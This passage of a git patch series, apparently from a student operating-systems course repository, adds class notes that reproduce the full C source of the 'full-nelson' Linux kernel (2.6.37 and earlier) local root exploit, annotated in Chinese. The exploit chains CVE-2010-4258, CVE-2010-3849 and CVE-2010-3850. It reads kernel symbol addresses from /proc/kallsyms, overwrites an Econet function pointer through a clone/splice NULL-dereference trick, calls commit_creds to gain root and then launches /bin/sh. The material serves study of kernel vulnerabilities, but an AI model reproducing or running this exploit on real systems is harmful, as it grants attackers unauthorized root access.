zntxeie2Rys2bfqiK)abEqgr8g1bdHw_u?i3xp9ggd=0+-OCN~cuqhTz8Qo57F}lq<}4L3zL|)Pf+{J=%=3q1GE9 zyVWpa1JyC$F3c&HG~TB-PUbk8A!IvA*pc;vzR+kPKT5GP3gPt8$K_O$U;DbB-VR{g zBMxk{+{yTT(rEhTgu^fGN7drr6$8cnbSI{B_PplS(%%7DKTBF{t7w8ObLW4LFfyOX z2}A5Kwd>4q%CxYz3|h6;v)^|;7rF{}(K?ajd|SbhGYBLILVzo97}Rv$r+lbeBTcv2 z(z(3N;S&L{=mSuEP~dsw;6;c{L*U?4VF16dm@LU)jv}>EEWjCe*RM~qjoCEl{lnT7 zm>|f9M#MQ|?G8YG)LcF=BxH6pgLBh|Qz_9+`7)e} zi+}LsXu8oNIqkM<>_N|GY`&aZ;v5Ogft>!?PTf$Tl2d7G7(*wQY2)6h<6NlMtMEO7 zOyE7fo;&O6UtzPePb`pGEZVZ^XoKulpG6d^6;o%ndyiXK%;fi(E*B}(O-f&%Zs*18 z>AW$`Xi-1RT8U5e1khnqQa(RqWTi3jt+D|WLb93o+1<8Z;QJDFsYvoH6y~N;*KRZ$ z;SWW4j3r+K=QNdTWUDksc)5#psFEisiviAllV_MfFSAxTOsz_$${VegHDkN72hi?p z-_|Vpa;3?Lg1~H)*u)q4H?naIYDaWeRO!T_3Z2B-RY$~guJbskU+}niCE>Gl@sjN zS=DUfoOs{9Vjxzab6bV};+QFfYb|gX3!~OT#Y1_P_b?!78O($#?|2##qT9D;i}M6` zz*2c)@n3kSY6Z&L1F zL!-*j?_VmIphg;&&Th61pLGYI^+s1#iRJ#0j5}55K8M`q_%>}lX8_v~#=cROy#IYG zh?wSk(t}|yauni&0Jas^5OQuGW3t)M(6pRAqgiy_FPW}#J?-uepUj!?UBgXoI9R%@ zsf&Dt#z~%XfvNfz^~j5xSRh6QX!xJ;WKPnWNorCIG2F7!qayHLB=hwx@@VJ47n>)- z^k7U7rKbc@sm(INlG#R7*>y-7V5@a8XTVzmN|$le&9l&fT<+y+Q;jOE^IzE?IrXR5 z)>HAtktV`@^voX`=HYauB_yz0n?4+m%_#*^F~v^v&}`vnj(SO?mZRlNE8{Zr?0q1e zlxVX_u`j%Gp5v0_HMk+_R8)2O7GFAz)4pdqas^a2&S7`2cTPkA0q4}4M~K^U%}*3l zz1Kc~cX=n?lBRm5DHV7p8F426CKuQ$x>!wx@cn4O|5t3^9!}mq#dg}P>@9lmLCmpm zH`@Oj+~`txOM0il*FA2`XtOiA9#hCKs&uSZYORXQcAmBgh{q^bPE2dIfN74H=Sm)X zfE25`cBN@W7x@Z8QkjC6%NuuJnoVGy%I~}4dy;?=k?Sm9Z2+ZO@kWn8#D-PmA&IrZ zQD?St$}Thi<+F_iv_5kEixk{~3WdJOPSprxznixwf3^ZH3^9@pc_bJs2|=`#Uu37E;f0s_K-$kgOuF@}7B;XC_M!ey!r zM=F*Vw4O6B zf$W~gz`hk9le`<(9MWr!%(M}8HP~K=`(e?_B{AU~0yu0*_VHh8^<5vz~?sVD**ywvuamy^ofCBY(B zF{mTu&N4T>F0ebhesnlAK5KnMJ8Hym5rDdLTYSV-4X*s?nvybvcD75Lg{k0>cpXt#4EEpvZ|8TIcyB(iTs(n)ZNKjEYSu=_ZoHr1*Y>vW zgBBh8Wspoj`b(4Pk3QtH25f<3p=xwJag3iVjYmCf(Q`4m)a$b{W4Zk756RxGC2Hf` z*>4>tMr{q0b0GDj;5Mts?_^>!6*#Yx5&5U^378)1)biZ%q``_^YQ+&rXjv}n&-ruib+$-PN&HACy2{ymwZN>M7k7Xgqmu4@wG?5GOL)T~g-6Q8 zUT4StJ3@@lO)MZjWWo3R(K;YgY)-|`q!TY;a^J%cS6daGO_dOvCx5;K0A7WM=nDcP z#~qA2$L^#2tq>lO*=!{v3kJU!!!VDbB#v;Adf4{5^Zn`9R7u;HbXUbR2Z2K7{M#Nl z&JtZOXs!1g2>8ER*4~DCWic`XMLUoVC*~=*Nryi0m^LF3DKb{obK~>|J@pU6dO7iv zfs7cCs%ncSd*FV-g7UvTp8QdfdfkhWl}3Qu2pF(k=YvR3H)5tgcMVl|k^fmgqYQLR z%O000s_=5C#N4Jos(+78r|@pVed4KY!x`>F-srQ)(JOHGCpd8s1p+j%oDg~7ppgi> z=^vu^md3GH5tj+D|BDRq0SQ_5eh3W&Djk#Ncy5+jZ#F)IfvutTilny-?NR-7SJ1%$ zsAk?Gh3=0Q_+w>NvW=W7Qz;&=;Whc%#jDL@P1NCs{S%S!bx_$S@YJffzx}2mFea%; zJ$j8NwJM^}JIj=+!BOoL)QAD$?&Ii~cFD%BNjn9Qs{boL(nMG&RjMJ*E`#VU+S;|q zcE2DLlv|AOiNuQhtgbUJ-iNK(;|S|j01V8wg1q$r?FSI`xRB?{?`|-grRl9Q3ejYKnCJ7J%F)eZP ze(NQ%O!e;tbn_Qe`5E@KfY|?(EHCiuQ7wy?h!DwkmpZCc3~0v6{WXg}7|^G+U!!y? z0Jl8>p9Y^GIhX&j$%LR56Cj{5Bqno~f47l(UIE=A!cr|fn7O=`HH@y^kFs;oYksuDP^hBQEmYEMIIhCfh z6xt4?F*phF`A5P*?&=5hSJ3NpvMjl!^=g|NR@dC)!w}fqe>9N7k-sMED{ZI_j;5`Q zka**z+LJ&*gVRbvLitq*qX4dr+3o#Za-_}vLV7!(N- z{Z{=4J^R*P1LX+~chW~2tNG6;>$MNBnC13fFV4yq@~AP`{le{u2*G3c?C;GoWkySY zjhpRFYQ*hD<3IR<2+ynh4lkJcdcurb`jw@gFULnEvWg?i2q9|t2j+V`W@w;3e;rDdgQ4B)x`k`{yW&b zARbHdmB1&cs`!QV6V5O`V^wBd$Fsb91Y_4e4J~(fT!Wq$|EvDo1%@f8wFW(m4cK9H zQ_gutc$z0$*iB`1D$r^J_Pv90wbs2y)-x z52k9nJ8`LGK3Psl`p$7S;1HNdt_V=db3>ULf&{Nt zUMQ84yt5w#yn%N6>C3A9H`iG?9OfO5(G7qmhna`TDkDI~A@cyn$4xi>LvpDBYPPOi-gTe_)3BJs3hGcwg;*URrxO4w}(15m^7y zx7NksII6$Dn3*G+Z&`0YT{S#(SAV*54EWrpKefu3FhCh;;G1Aze4lI*w^b(4?e4mX zNK&(cdHqN8gw}j$CTCf0{%m(cD?Cw=m4GD#cwrdN67yWMt;9I@RXX&E5EB@ zleW#8u*THcRR7ijZP zVVU7O<8uMYJz_svWM~K_Qq(7e8^Aq6Kmrk?j;Va_Nhy%!}BMK z+1uVz@Zfr-@c_-%*#9E>y!HQ!%hd(^Ph9SLgK}!kj1Jamqm9z4?wL9 zFkA+zomWN2N{!Rss}_FP9nW#Gg7}rTY$cAGX?u2{y)s+8z;x0^drI-eR%acbSG*IF z5j7t#CKPz*6n1WD4bbUu;3&K}za77!utM!4b#P(Stkys!)638a%wl1=VQO7P9->yI z!tSBf&yz-*C=d&ry)+rt5chcz0dTcu+w)iLFlcoERJLaAs$LVo7)|DlWtVBH5e(F) z6Se`6J;*Y8Omr<1n~8ymg+&)IHL$BItTXDtSyl0}l9+X6)T>EmJgCf(wIXUeYADF{ zcbld3Nnu42xq>Shk+*4i6Y;BPcb(uBhtxtu*8l)G`Hlk*yYL7=&gdyrDYVSOS5z}> z>U~K^g_@ir5-Q5*FcU}?aZLSIv%+#&q_q&2er{Z8!f$H@un@LdwsS8y_6RR_+)!X$ z6KRB#YOr(M>A(;Q6F9z-eu;0Vk#5n|CXWe*U`d~RD_#_zo5=>bj9#{7@$KZFAZYCZ zO~;?%SWUY)pIAIw7)c`VGE<~a$^Y~gUQ~Q`FQ+^_Udg*-L#oC;`)SYc3<`L*a=}}X zACaxg`?DFtrRak@WTX-l{`45wMu29Khw^ujps5hTCnxaj?{t^G3NE^4YI4VY+i!x5 z(xgZeWX1_irApOF6woOYKzT@rky#A%zUYqSoX|x7b{T@Vq{}aZuM>EuSH$s68CHRb z@eu{IX_$ChEu&?HM~~1&t6~yWLYNhN>uX;mSjK0&2&#f1a71_h-b582sYMEFaOrLk zOew!J`{v_>5#=Bv8sfgd@k8zu7r{h?T}L3Nj1mvRL!QTb88l9mX=*Owo4#$y77twl zT%EsOuw6Q(-d8nNRXGg1EG5j%eH~8j>%jDIY-5Em(%Zy$$=eKAL+Xnwro*>x!Y&#H zxuy#40?A$Lw(oVgTUT9D2qr5GEii_+>T2Cm-0mLkZEWsmh=!_NT<3V=gB2YFwDjT& zW+;qCwaTV1jrTMe=$GTO&s!xd+&?`IY_8{G$1xDL1l!LUS3~eOc^&7;W9P^(8<);* zn=Kc4sU;dSAR#}TX;{YK&b(4oc29<5@Au+cv1%7j)NG0u91h%ObnvS%5=naoAEmQ5 z%pq{U0nK4}YB+akJ*AqS2MFR~KQawDY+y&{`(56>J@UAF&2zZmu%2+fU&~h%FT{W1 zd%6}a%N$O~{-s(+jT_shWjD8OFT_TYH{W_Nb;Q!s{&tHGdHhqaBA&^08lH z&YGlo819+~lA4riur}=|;B~O);4coU*Dzh9?y9Qm64vICgG?!RqX9yJI z#-~x}K3e$i?gV?T5Nelr?^tW>EE%!hfYu54-^(0wXF zdYTQg{`z>)+DH>_tB_dy(y(R0>dz&fcxD-5-GzW$30R*E>{1$@xuLH*@_}ybD z5fNW=*jKx#NG&;PycdiNI|9(6+;%vH&=dH$)pXsJNWfRCLoviiE(tA{G} zc23g%FynYZ=)B5?=!|!HA8g$hOv~Y_bzXUZ+qUzwczSsr+!RuI>QK9H%Y5qv_U!1l zjvRs#K|!q$`8g=4`etJ{#gJtO)ELj>ROoPOVr+F2+^4axvCsPPAfbkfbf)GZV%uqB z9kO6_5JVLjhKfNu!cWppZPg^eMIcItTw?`r?Ax^rs zc_5=kA1N1QrzCUrhg!9=2t`J%$q5@PU};<~dFn01Mhw7%iho>&oBf`-+D-Wyp2==+ z-=eh_!RN_#;)|}_-&t?z&Z|;%czy^K)MZ{*uNF$tmZ@lAA@kUX>b(uP>wQcD23cXJ zX*AL0DyET{q=F@X12mlq)4phptKdkfmcokbu|u}*dHhW_txGA1`ul^(TOFI5d)-o- z_iR#ovut-lH_?v%J2JA0Zxh!Ner02Q16I;1QDdc9(~LBCf%)%^%aosovwC#zq{u>6 z`at{RX-7gm#g~I2fO$e>U0BQVtCPt7-0-CFwCfCKo13wIgo2?+ciR}(mCgq8I5mN`<~rE(5pn1reyf4BWcd0@>dy?;EXmqp<=;JUnNk^>(AT=zFgD z(QFWD2Z3&&9KOvJnO=o1jGz@3gPUD71A83ES%RPy5K#JWrwOZfi^DUrs0}(_@~*qt zBU1XIXLI7AGIM9tM zYCEUTT6cwZe=w2HG+!LftfjqixePP`FB3#FVC=>PcAE(kmhPKLugdk%|;Ng?d@^nu1-SfMV5 zn6#(r4dD#b19luOV69R$zWZ`!iG-YYFJER%A(k5WQ|~3<>u%hqX#eB8z(LAWgo)DF zrgMs3oT_?X-v9Q73KB!*TSOqcd5obwrU1GE|3JvVw|Adt<~-Dwo{&kJ@;(QG}AGBI|Fo~O4L8E~KkEDtsS1w`PNe~+e2#tOZunHF|)(SZP^BOaL z)mTB+G7!kao|-XSt<~=W0-Pdt*}rrG!|aTP+YoxH%_iO!r(`}IBpn$zm$#F#GXHTZ ze-9|k2urPR@$yUfQ*58^!atvfrw{-A;(u?>f1jNHu8#kYwvGo3%IfP)X&Bc&7~n@n MLP5M#RNv?S0C!Oz_5c6? literal 0 HcmV?d00001 From 962b54de7c8847f4969c912d45444a97c07fbb07 Mon Sep 17 00:00:00 2001 From: was_n <79463184+dsjsgk@users.noreply.github.com> Date: Mon, 30 May 2022 19:49:29 +0800 Subject: [PATCH 2/3] Update OS_0524.md --- group13/OS_0524.md | 285 ++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 284 insertions(+), 1 deletion(-) diff --git a/group13/OS_0524.md b/group13/OS_0524.md index a86ff7c..be0acce 100644 --- a/group13/OS_0524.md +++ b/group13/OS_0524.md @@ -66,4 +66,287 @@ This is a NULL pointer dereference in the Econet protocol. By itself, it's fairl CVE-2010-3850 ------------- -I wouldn't be able to reach the NULL pointer dereference and trigger the OOPS if users weren't able to assign Econet addresses to arbitrary interfaces due to a missing capabilities check. \ No newline at end of file +I wouldn't be able to reach the NULL pointer dereference and trigger the OOPS if users weren't able to assign Econet addresses to arbitrary interfaces due to a missing capabilities check. + +Code with annotation(some of them are added by us in simplified Chinese) +```C++ +/* + * Linux Kernel <= 2.6.37 local privilege escalation + * by Dan Rosenberg + * @djrbliss on twitter + * + * Usage: + * gcc full-nelson.c -o full-nelson + * ./full-nelson + * + * This exploit leverages three vulnerabilities to get root, all of which were + * discovered by Nelson Elhage: + * + * CVE-2010-4258 + * ------------- + * This is the interesting one, and the reason I wrote this exploit. If a + * thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL + * word will be written to a user-specified pointer when that thread exits. + * This write is done using put_user(), which ensures the provided destination + * resides in valid userspace by invoking access_ok(). However, Nelson + * discovered that when the kernel performs an address limit override via + * set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, + * etc.), this override is not reverted before calling put_user() in the exit + * path, allowing a user to write a NULL word to an arbitrary kernel address. + * Note that this issue requires an additional vulnerability to trigger. + * + * CVE-2010-3849 + * ------------- + * This is a NULL pointer dereference in the Econet protocol. By itself, it's + * fairly benign as a local denial-of-service. It's a perfect candidate to + * trigger the above issue, since it's reachable via sock_no_sendpage(), which + * subsequently calls sendmsg under KERNEL_DS. + * + * CVE-2010-3850 + * ------------- + * I wouldn't be able to reach the NULL pointer dereference and trigger the + * OOPS if users weren't able to assign Econet addresses to arbitrary + * interfaces due to a missing capabilities check. + * + * In the interest of public safety, this exploit was specifically designed to + * be limited: + * + * * The particular symbols I resolve are not exported on Slackware or Debian + * * Red Hat does not support Econet by default + * * CVE-2010-3849 and CVE-2010-3850 have both been patched by Ubuntu and + * Debian + * + * However, the important issue, CVE-2010-4258, affects everyone, and it would + * be trivial to find an unpatched DoS under KERNEL_DS and write a slightly + * more sophisticated version of this that doesn't have the roadblocks I put in + * to prevent abuse by script kiddies. + * + * Tested on unpatched Ubuntu 10.04 kernels, both x86 and x86-64. + * + * NOTE: the exploit process will deadlock and stay in a zombie state after you + * exit your root shell because the Econet thread OOPSes while holding the + * Econet mutex. It wouldn't be too hard to fix this up, but I didn't bother. + * + * Greets to spender, taviso, stealth, pipacs, jono, kees, and bla + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* How many bytes should we clear in our + * function pointer to put it into userspace? */ +#ifdef __x86_64__ +#define SHIFT 24 +#define OFFSET 3 +#else +#define SHIFT 8 +#define OFFSET 1 +#endif + +/* thanks spender... */ +unsigned long get_kernel_sym(char *name)//找到内核中函数的地址 gcc编译内核时决定的 +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + + f = fopen("/proc/kallsyms", "r");//(不一定能看到) + if (f == NULL) { + f = fopen("/proc/ksyms", "r");//尝试读ksymbols + if (f == NULL) + goto fallback; + oldstyle = 1; + } + +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %sn", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %sn", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%sn", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, " [+] Resolved %s to %p%sn", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + + fclose(f); + if (rep) + return 0; +fallback: + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + +static int __attribute__((regparm(3))) +getroot(void * file, void * vma) +{ + + commit_creds(prepare_kernel_cred(0));//尝试将自己的权限设置为root + return -1; + +} + +/* Why do I do this? Because on x86-64, the address of + * commit_creds and prepare_kernel_cred are loaded relative + * to rip, which means I can't just copy the above payload + * into my landing area. */ +void __attribute__((regparm(3))) +trampoline() +{ + +#ifdef __x86_64__ + asm("mov $getroot, %rax; call *%rax;"); +#else + asm("mov $getroot, %eax; call *%eax;"); +#endif + +} + +/* Triggers a NULL pointer dereference in econet_sendmsg + * via sock_no_sendpage, so it's under KERNEL_DS */ +int trigger(int * fildes) +{ + int ret; + struct ifreq ifr; + + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "eth0", IFNAMSIZ); + + ret = ioctl(fildes[2], SIOCSIFADDR, &ifr); + + if(ret < 0) { + printf("[*] Failed to set Econet address.n"); + return -1; + } + //传数据 用splice的原因:在kernel态 + splice(fildes[3], NULL, fildes[1], NULL, 128, 0); + splice(fildes[0], NULL, fildes[2], NULL, 128, 0); + //往有缺陷的socket写数据导致崩溃,splice操作在kernel态,崩溃后利用clone把target清零 + + /* Shouldn't get here... */ + exit(0); +} + +int main(int argc, char * argv[]) +{ + unsigned long econet_ops, econet_ioctl, target, landing; + int fildes[4], pid; + void * newstack, * payload; + + /* Create file descriptors now so there are two + references to them after cloning...otherwise + the child will never return because it + deadlocks when trying to unlock various + mutexes after OOPSing */ + + pipe(fildes); + fildes[2] = socket(PF_ECONET, SOCK_DGRAM, 0);//PF_ECONET参数表明使用ECONET提供的open/close/read/write + + fildes[3] = open("/dev/zero", O_RDONLY); + + if(fildes[0] < 0 || fildes[1] < 0 || fildes[2] < 0 || fildes[3] < 0) { + printf("[*] Failed to open file descriptors.n"); + return -1; + } + + /* Resolve addresses of relevant symbols */ + printf("[*] Resolving kernel addresses...n"); + econet_ioctl = get_kernel_sym("econet_ioctl"); + econet_ops = get_kernel_sym("econet_ops"); + commit_creds = (_commit_creds) get_kernel_sym("commit_creds");//修改当前进程的用户身份 + prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); + + if(!econet_ioctl || !commit_creds || !prepare_kernel_cred || !econet_ops) { + printf("[*] Failed to resolve kernel symbols.n"); + return -1; + } + + if(!(newstack = malloc(65536))) { + printf("[*] Failed to allocate memory.n"); + return -1; + } + + printf("[*] Calculating target...n"); + target = econet_ops + 10 * sizeof(void *) - OFFSET; + + /* Clear the higher bits */ + landing = econet_ioctl << SHIFT >> SHIFT; + + payload = mmap((void *)(landing & ~0xfff), 2 * 4096, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); + + if ((long)payload == -1) { + printf("[*] Failed to mmap() at target address.n"); + return -1; + } + + memcpy((void *)landing, &trampoline, 1024); + + clone((int (*)(void *))trigger, + (void *)((unsigned long)newstack + 65536), + CLONE_VM | CLONE_CHILD_CLEARTID | SIGCHLD, + &fildes, NULL, NULL, target);//trigger:扮演线程的函数;最后一个参数本来应该是子线程地址,这里的target说明clone结束的时候会在这里滞留 + + sleep(1);//休息一秒钟 到此时IOCTL的代码地址被修改指向get_root,之后通过调用IOCTL来调用getroot获得root权限 + + printf("[*] Triggering payload...n"); + ioctl(fildes[2], 0, NULL); + + if(getuid()) {//自己读自己当前的user的身份,如果是0(root)成功,如果不是0则失败 + printf("[*] Exploit failed to get root.n"); + return -1; + } + + printf("[*] Got root!n"); + execl("/bin/sh", "/bin/sh", NULL); +} +/* +``` From 767c4ccd8370d2d35c80ebd486aeee8c3afec3f6 Mon Sep 17 00:00:00 2001 From: wennitao Date: Mon, 30 May 2022 19:52:10 +0800 Subject: [PATCH 3/3] update notes --- group13/OS_0524.md | 14 -------------- 1 file changed, 14 deletions(-) diff --git a/group13/OS_0524.md b/group13/OS_0524.md index be0acce..a16c6dc 100644 --- a/group13/OS_0524.md +++ b/group13/OS_0524.md @@ -54,20 +54,6 @@ For example, the format string is "%08x %n", and it will write $9$ to the addres https://www.exploit-db.com/exploits/15704 -This exploit leverages three vulnerabilities to get root, all of which were discovered by Nelson Elhage: - -CVE-2010-4258 -------------- -This is the interesting one, and the reason I wrote this exploit. If a thread is created via clone(2) using the CLONE_CHILD_CLEARTID flag, a NULL word will be written to a user-specified pointer when that thread exits. This write is done using put_user(), which ensures the provided destination resides in valid userspace by invoking access_ok(). However, Nelson discovered that when the kernel performs an address limit override via set_fs(KERNEL_DS) and the thread subsequently OOPSes (via BUG, page fault, etc.), this override is not reverted before calling put_user() in the exit path, allowing a user to write a NULL word to an arbitrary kernel address. Note that this issue requires an additional vulnerability to trigger. - -CVE-2010-3849 -------------- -This is a NULL pointer dereference in the Econet protocol. By itself, it's fairly benign as a local denial-of-service. It's a perfect candidate to trigger the above issue, since it's reachable via sock_no_sendpage(), which subsequently calls sendmsg under KERNEL_DS. - -CVE-2010-3850 -------------- -I wouldn't be able to reach the NULL pointer dereference and trigger the OOPS if users weren't able to assign Econet addresses to arbitrary interfaces due to a missing capabilities check. - Code with annotation(some of them are added by us in simplified Chinese) ```C++ /*